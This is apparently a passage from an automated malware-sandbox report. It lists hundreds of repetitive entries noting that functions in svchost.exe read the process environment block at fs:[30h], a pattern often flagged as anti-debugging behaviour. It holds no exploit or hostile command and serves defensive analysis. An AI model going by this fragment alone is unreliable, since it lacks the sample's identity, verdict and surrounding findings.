                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]1_2_038F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]1_2_038F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]1_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039061E5 mov eax, dword ptr fs:[00000030h]1_2_039061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038601F8 mov eax, dword ptr fs:[00000030h]1_2_038601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov ecx, dword ptr fs:[00000030h]1_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F0115 mov eax, dword ptr fs:[00000030h]1_2_038F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860124 mov eax, dword ptr fs:[00000030h]1_2_03860124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov ecx, dword ptr fs:[00000030h]1_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C156 mov eax, dword ptr fs:[00000030h]1_2_0382C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C8158 mov eax, dword ptr fs:[00000030h]1_2_038C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]1_2_03836154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]1_2_03836154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]1_2_03904164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]1_2_03904164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383208A mov eax, dword ptr fs:[00000030h]1_2_0383208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038280A0 mov eax, dword ptr fs:[00000030h]1_2_038280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C80A8 mov eax, dword ptr fs:[00000030h]1_2_038C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F60B8 mov eax, dword ptr fs:[00000030h]1_2_038F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F60B8 mov ecx, dword ptr fs:[00000030h]1_2_038F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B20DE mov eax, dword ptr fs:[00000030h]1_2_038B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]1_2_0382A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038380E9 mov eax, dword ptr fs:[00000030h]1_2_038380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B60E0 mov eax, dword ptr fs:[00000030h]1_2_038B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C0F0 mov eax, dword ptr fs:[00000030h]1_2_0382C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038720F0 mov ecx, dword ptr fs:[00000030h]1_2_038720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4000 mov ecx, dword ptr fs:[00000030h]1_2_038B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A020 mov eax, dword ptr fs:[00000030h]1_2_0382A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C020 mov eax, dword ptr fs:[00000030h]1_2_0382C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6030 mov eax, dword ptr fs:[00000030h]1_2_038C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832050 mov eax, dword ptr fs:[00000030h]1_2_03832050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6050 mov eax, dword ptr fs:[00000030h]1_2_038B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385C073 mov eax, dword ptr fs:[00000030h]1_2_0385C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D678E mov eax, dword ptr fs:[00000030h]1_2_038D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038307AF mov eax, dword ptr fs:[00000030h]1_2_038307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E47A0 mov eax, dword ptr fs:[00000030h]1_2_038E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383C7C0 mov eax, dword ptr fs:[00000030h]1_2_0383C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B07C3 mov eax, dword ptr fs:[00000030h]1_2_038B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE7E1 mov eax, dword ptr fs:[00000030h]1_2_038BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]1_2_038347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]1_2_038347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C700 mov eax, dword ptr fs:[00000030h]1_2_0386C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830710 mov eax, dword ptr fs:[00000030h]1_2_03830710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860710 mov eax, dword ptr fs:[00000030h]1_2_03860710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]1_2_0386C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]1_2_0386C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]1_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov ecx, dword ptr fs:[00000030h]1_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]1_2_0386273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AC730 mov eax, dword ptr fs:[00000030h]1_2_038AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov esi, dword ptr fs:[00000030h]1_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]1_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]1_2_0386674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830750 mov eax, dword ptr fs:[00000030h]1_2_03830750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE75D mov eax, dword ptr fs:[00000030h]1_2_038BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]1_2_03872750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]1_2_03872750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4755 mov eax, dword ptr fs:[00000030h]1_2_038B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838770 mov eax, dword ptr fs:[00000030h]1_2_03838770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]1_2_03834690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]1_2_03834690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C6A6 mov eax, dword ptr fs:[00000030h]1_2_0386C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038666B0 mov eax, dword ptr fs:[00000030h]1_2_038666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]1_2_0386A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A6C7 mov eax, dword ptr fs:[00000030h]1_2_0386A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]1_2_038B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]1_2_038B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE609 mov eax, dword ptr fs:[00000030h]1_2_038AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872619 mov eax, dword ptr fs:[00000030h]1_2_03872619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E627 mov eax, dword ptr fs:[00000030h]1_2_0384E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03866620 mov eax, dword ptr fs:[00000030h]1_2_03866620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868620 mov eax, dword ptr fs:[00000030h]1_2_03868620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383262C mov eax, dword ptr fs:[00000030h]1_2_0383262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384C640 mov eax, dword ptr fs:[00000030h]1_2_0384C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]1_2_038F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]1_2_038F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]1_2_0386A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]1_2_0386A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03862674 mov eax, dword ptr fs:[00000030h]1_2_03862674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832582 mov eax, dword ptr fs:[00000030h]1_2_03832582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832582 mov ecx, dword ptr fs:[00000030h]1_2_03832582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864588 mov eax, dword ptr fs:[00000030h]1_2_03864588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E59C mov eax, dword ptr fs:[00000030h]1_2_0386E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]1_2_038545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]1_2_038545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]1_2_0386E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]1_2_0386E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038365D0 mov eax, dword ptr fs:[00000030h]1_2_038365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]1_2_0386A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]1_2_0386A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038325E0 mov eax, dword ptr fs:[00000030h]1_2_038325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]1_2_0386C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]1_2_0386C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6500 mov eax, dword ptr fs:[00000030h]1_2_038C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]1_2_03838550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]1_2_03838550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA49A mov eax, dword ptr fs:[00000030h]1_2_038EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038364AB mov eax, dword ptr fs:[00000030h]1_2_038364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038644B0 mov ecx, dword ptr fs:[00000030h]1_2_038644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BA4B0 mov eax, dword ptr fs:[00000030h]1_2_038BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038304E5 mov ecx, dword ptr fs:[00000030h]1_2_038304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C427 mov eax, dword ptr fs:[00000030h]1_2_0382C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA456 mov eax, dword ptr fs:[00000030h]1_2_038EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382645D mov eax, dword ptr fs:[00000030h]1_2_0382645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385245A mov eax, dword ptr fs:[00000030h]1_2_0385245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC460 mov ecx, dword ptr fs:[00000030h]1_2_038BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]1_2_03840BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]1_2_03840BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]1_2_038E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]1_2_038E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
